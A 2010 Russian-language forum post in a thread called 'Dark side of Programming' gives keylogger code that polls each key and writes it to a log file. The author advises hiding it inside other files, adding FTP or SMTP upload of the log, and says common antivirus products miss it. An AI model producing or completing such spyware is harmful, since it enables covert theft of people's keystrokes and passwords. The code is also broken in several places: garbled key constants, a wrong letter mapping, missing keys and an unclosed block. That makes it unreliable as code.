Показать сообщение отдельно
Старый 16.05.2010, 10:21   #30
levinter
Оператор ЭВМ
 
Регистрация: 18.03.2010
Сообщений: 30
Написано одно полезное сообщение
Ответ: Dark side of Programming

Repeat
If GetAsyncKeyState_(#VK_Q)=-32767
WriteString(1,"Q")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_W)=-32767
WriteString(1,"W")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_E)=-32767
WriteString(1,"E")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_R)=-32767
WriteString(1,"R")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_T)=-32767
WriteString(1,"T")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_Y)=-32767
WriteString(1,"Y")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_U)=-32767
WriteString(1,"U")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_I)=-32767
WriteString(1,"I")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_O)=-32767
WriteString(1,"O")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_P)=-32767
WriteString(1,"P")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_A)=-32767
WriteString(1,"A")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_S)=-32767
WriteString(1,"S")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_F)=-32767
WriteString(1,"F")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_G)=-32767
WriteString(1,"G")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_H)=-32767
WriteString(1,"H")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_J)=-32767
WriteString(1,"J")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_K)=-32767
WriteString(1,"L")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_Z)=-32767
WriteString(1,"Z")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_X)=-32767
WriteString(1,"X")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_C)=-32767
WriteString(1,"C")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_V)=-32767
WriteString(1,"V")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_=-32767
WriteString(1,"B")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_N)=-32767
WriteString(1,"N")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_M)=-32767
WriteString(1,"M")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_0)=-32767
WriteString(1,"0")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_1)=-32767
WriteString(1,"1")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_2)=-32767
WriteString(1,"2")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_3)=-32767
WriteString(1,"3")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_4)=-32767
WriteString(1,"4")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_5)=-32767
WriteString(1,"5")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_6)=-32767
WriteString(1,"6")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_7)=-32767
WriteString(1,"7")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_=-32767
WriteString(1,"8")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_9)=-32767
WriteString(1,"9")
SaveFileRequester(1)
forever
вписываем в любой ваш фаил ну еще плюс дописать отправку файла ето уже как угодно ftp или smtp. и все шпион клавиатруы готов .. антивирями такими как аваст касперский и доктор вэб не палится только есть опасность что при отпровление файла на маил может сроботать аваст

только перед этим еще фаил откройтие в который вписываться лог будет и обязательно с идекатором 1

Последний раз редактировалось jimon, 16.05.2010 в 12:44.
(Offline)
 
Ответить с цитированием